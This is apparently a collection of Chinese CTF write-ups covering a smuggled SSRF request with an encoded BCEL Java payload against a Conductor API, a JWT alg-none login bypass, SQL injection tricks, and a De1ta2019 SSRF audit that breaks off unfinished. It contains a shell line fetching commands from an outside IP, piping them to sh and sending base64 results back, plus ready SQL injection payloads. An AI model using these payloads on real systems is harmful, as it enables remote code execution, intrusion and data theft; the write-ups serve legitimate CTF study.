http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.122.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1406%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$C1$U$3d$j$k$D$e3$m$_A$c1$X$e8B$d0D$5c$b8$d3$b81$b8$c2G$84$e8$c2$8del$b0$I$D$Z$K$n$fe$90k6h$5c$f8$B$7e$94z$3b1b$a2Mzn$ef$b9$a7$e7$f6$f1$fe$f1$fa$G$60$l$9b$W$oX$b0$90A6$82E$j$97L$e4$y$84$907$b1lb$85$n$7c$u$5d$a9$8e$Y$C$a5$f2$VC$f0$b8w$t$Y$e25$e9$8a$b3a$b7$v$bc$Gov$88$89$d5$Vw$kNy$df$cf$fd$dd9$92w$b9t$Z$b2$a5$9bZ$9b$8fx$a5$c3$ddV$a5$ae$3c$e9$b6$O$b4$9dU$ef$N$3dG$9cHm$R$ad$8edgW$eblDa$99X$b5$b1$86u$ea6$b8$_TT$b7_y$U$D$c9$bd$3d$h$F$U$Z$d23$cb$ea$d8$R$7d$r$7b$ae$8d$NX$d4W$5b1$qf$8a$f3f$5b8$8a$n9$a3$$$87$ae$92$5djl$b5$84$faI2$a5r$ed$8f$e6$80$y$c5X8$M$5b$a5$7fn$f2$8b$ba$f0z$8e$Y$MhC$bcOE$e5$3fK$c3$e3$8e$40$R$s$3d$b7$k$G$98$be$n$e1$ie$b7$94$h$U$b3$db$cf$60$_0R$81$v$82$d7O$88$d4v$a6$IOH$VD$M$J$fa$V$D6$e9$f2$I$T$G$88$N$R$l$a5$8a$89$q9g$c81F$95$E$8cO$Cfb$5eC$3c$e8k$92$df$ddr4$99$9e$T$7f$a1$N$c3$3e$R$pL$f9$87K$7f$BUiJ$a8$n$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%2525A2test@example.org%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private

Step 6 vps搭建web服务拿flag

在自己的vps先搭建一个web服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import os
from flask import Flask,redirect
from flask import request


app = Flask(__name__)

@app.route('/')
def hello():
return open("test.txt").read()

@app.route('/command')
def hello1():
return open("command1.txt").read()

if __name__ == '__main__':
port = int(os.environ.get('PORT', 9998))
app.run(host='0.0.0.0', port=port)

test.txt目的是让服务器接收到命令后将结果回传

1
2
#!/bin/sh
wget http://121.40.251.109:9998/1?a=`wget -O- http://121.40.251.109:9998/command|sh|base64`

command1.txt,需要执行的命令

1
whoami && cat /flag

成功拿到flag,溜了溜了。终于分析完了

参考链接

HFCTF2020-EasyLogin

知识点

  • jwt攻击
  • javascript代码审计

Steps

Step 1

网页源代码中给了static/js/app.js文件,里面的注释提示了是用node.js写的koa框架,目的是为了提示koa框架中的controllers/api.js文件。

Step 2

直接看关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

api/flag说明要想得到flag,必须是admin用户。

api/login中在登录时会用jwt进行校验,这里存在jwt攻击,一些jwt中的alg字段改为none,系统会从jwt中删除相应的签名数据,这时jwt就只含有header+.+payload+.,然后将其交给服务器。

Step 3

这里只需要将alg改为nonesecretid改为[],再重新分别对headerpayload进行base64加密即可(=去掉,用.进行连接)。

参考文章:https://xz.aliyun.com/t/2338

SQL注入奇技淫巧

前言

有段时间没打ctf了,感觉有些生疏,知识点也不够全面,想着赶紧总结一下知识点把以前的东西捡回来。

时间盲注的几个姿势

时间盲注,顾名思义就是根据请求响应时间的不同来判断是否存在注入。

sleep被过滤

sleep()函数是时间盲注里面最重要的函数之一了,当sleep()被过滤时有三种绕过方式。
get_lock()
get_lock(key,time),该函数的意思是给一个key上锁,如果上锁失败就等待time秒,然后回滚事务。

利用方式:先使用get_lock(key,time)key上锁,然后再开一个进程使用get(key,time),这时候就会因为原来的key已经被上锁了而会等待time

这里我先将终端1的key(也就是1)上锁。

然后再打开终端2对同样的key进行上锁,time为3,很明显这里等待了3秒。

**benchmark()**
benchmark(count,expr),该函数会重复计算expr表达式count次从而消耗大量时间。

if((布尔盲注语句),BENCHMARK(10000000,md5(‘a’)),1)

笛卡尔积
这里的笛卡尔积和离散数学里的笛卡尔积的意思是一样的,因为mysql支持多表查询,笛卡尔积可以将多个表合并成一个表,但是如果多个表中的数据较多就会导致运算过程中耗费大量的时间。

if((布尔盲注语句),(select count(*) from information_schema.columns A,information_schema.columns B, information_schema.columns C),1)

RLIKE
语法规则:

  • A RLIKE B,表示B是否再A里面。
  • B中的表达式可以使用标准的正则语法。

利用方式:

if((布尔盲注语句),concat(rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’)) RLIKE ‘(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+(a.*)+b’,1)

原理和之前差不多,都是多次计算消耗计算机资源产生的延时效果。

if()被过滤

if()sleep()可以说是时间盲注当中最重要的函数之二了,同样if()也要可以代替的函数。
case when

case when [condition1] then [result1],when [condition2] then [result2] ······ else [resultn] end

当满足条件一返回结果一,以此类推返回相应结果。

case when (布尔盲注语句) then sleep(n) else 1 end

报错注入的几个姿势

整型溢出

数据溢出的原理很简单,当需要进行运算的数字的结果超过mysql规定的范围后就会返回报错信息,而我们便可以利用这一信息去获取相应的数据。mysql的整型数据范围可以参考这篇文章:Integer Types (Exact Value)。还有一点我们需要注意的是只有在mysql>5.5之后整型溢出才会报错,并且mysql<5.5.53时不能返回查询结果。个人认为比较鸡肋。

**exp()**
首先当一个查询成功时,则返回0;如果失败则返回1。而我们对0取反时得到的数值为18446744073709551615,已经超过了exp()所能接受的范围。

注入姿势:

select exp(~(select * from (注入语句)x));

此外,报错信息是由长度限制的,所以要想得到后面的信息可以结合limit一起使用。除了exp()之外,能达到同样的效果的函数还有pow()cot()

xpath语法错误

该类报错注入中,经常使用的函数为updatexmlextractvalue

适用版本:5.1.5+

updatexml(XML_document,XPath_string,new_value);

extractvalue(XML_document, XPath_string);

这两个函数造成报错注入的原因都是一样的,都是因为参数XPath_string的格式不符合xpath语法并且将查询结果放在报错信息当中。所以我们可以在需要注入的地方前后拼接~即可造成报错。

updatexml(1,concat(‘‘,(注入语句),’‘),1);
extractvalue(1,concat(‘‘,(注入语句),’‘));

主键重复

无列名注入

information_schema 的绕过

在SQL注入当中要想知道数据库名和表名等,information_schema这个库是必不可少的,但如果这个库被过滤的时候必须找到另外一个备胎从而实现我们的目的。

由于performance_schema过于繁杂的特性,在mysql 5.7版本中新增了sys schema,其数据来自于performance_schemainformation_schema两个库,本身数据库不存储数据。

sys.schema_auto_increment_columns

在所有数据库中查找带有自增列的基表及其相关的信息,默认按照自增值使用率和自增列类型最大值进行降序排序。

人话就是查找自增主键的表的数据,但是这样就有另外一个问题就是无法得到不存在自增主键的表,所以其它寻找其他的视图来满足我们的需求。

sys.schema_table_statistics_with_buffer,sys.x$schema_table_statistics_with_buffer

查询表的统计信息,其中还包括InnoDB缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间(执行时间,即也可以理解为是存在最多表I/O争用的表)降序排序,数据来源:performance_schema.table_io_waits_summary_by_table、sys.x$ps_schema_table_statistics_io、sys.x$innodb_buffer_stats_by_table

根据这两个视图的数据来源便可以得到我们想要的数据从而绕过information_schema。通过这三个视图的比较也可以发现,后两个视图可以获取的数据更多。

DNSlog外带数据

mysql8新特性注入

参考文章

Dnslog在SQL注入中的实战

浅谈利用mysql8新特性进行SQL注入

聊一聊bypass information_schema

SQL注入有趣姿势总结

对MYSQL注入相关内容及部分Trick的归类小结

在不知道 MySQL 列名的情况下泄露数据的 SQL 注入技巧

MYSQL报错注入的一点总结

De1ta2019 ssrfme

知识点

  • python代码审计
  • ssrf

代码审计

拿到源码直接开始分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip): //对Task类内变量进行初始化
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()): //检查`self.action+self.param+secret_key`是否与`self.sign`相等
if "scan" in self.action: //如果`scan`在`self.action`中则执行
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
//创建一个临时文件`result`
resp = scan(self.param)
//读取`self.param`的内容赋值给`resp`
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
//将`resp`写入临时文件`result`中
result['code'] = 200
if "read" in self.action: //如果`read`在`self.action`中则执行
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
//将临时文件的内容赋值给`result['data']`
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result //返回`result`

def checkSign(self): //检查`self.action`与`self.param`
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", "")) //以`GET`方式获取`param`
action = "scan"
return getSign(action, param) //生成`sign`值


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action")) //在`cookie`中获取
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign")) //在`cookie`中获取
ip = request.remote_addr
if(waf(param)): //检查`waf`
return "No Hacker!!!!"
task = Task(action, param, sign, ip) //初始化
return json.dumps(task.Exec()) //显示`task.Exec()`返回的内容
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50] //读取`param`文件中的前50个字符
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest() //进行`md5`加密生成`sign`


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"): //检查字符串是否以`gopher`和`file`开头
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

思路分析

代码审计后对代码有了大致的了解,我们肯定是要读取flag.txt中的内容的,在Task中的Exec()方法可以利用self.action=readscan的方式(至于为什么不是scanread之后会说)先将flag.txt中的内容写入临时文件中,再读取临时文件的内容赋值给resulr['data'],但是前面有一个检查sign值的判断条件。

前面说了将self.action赋值readscan,,而又因为self.param必须等于flag.txt,所以在checksign()getsign(self.action, self.param)==hashlib.md5(secert_key + flag.txt + readscan).hexdigest(),但是这里的生成值是无法判断的。

所以现在必须得想办法获取到生成之后的值,这里就必须利用到/geneSign路由下的geneSign方法,这里的action的值已经被确定了,但是param的值却是可控的,这里我们要构造``hashlib.md5(secert_key + flag.txtreadscan).hexdigest(),所以param的值为flag.txtread这样生成的sign`就与之前的相同了。

结果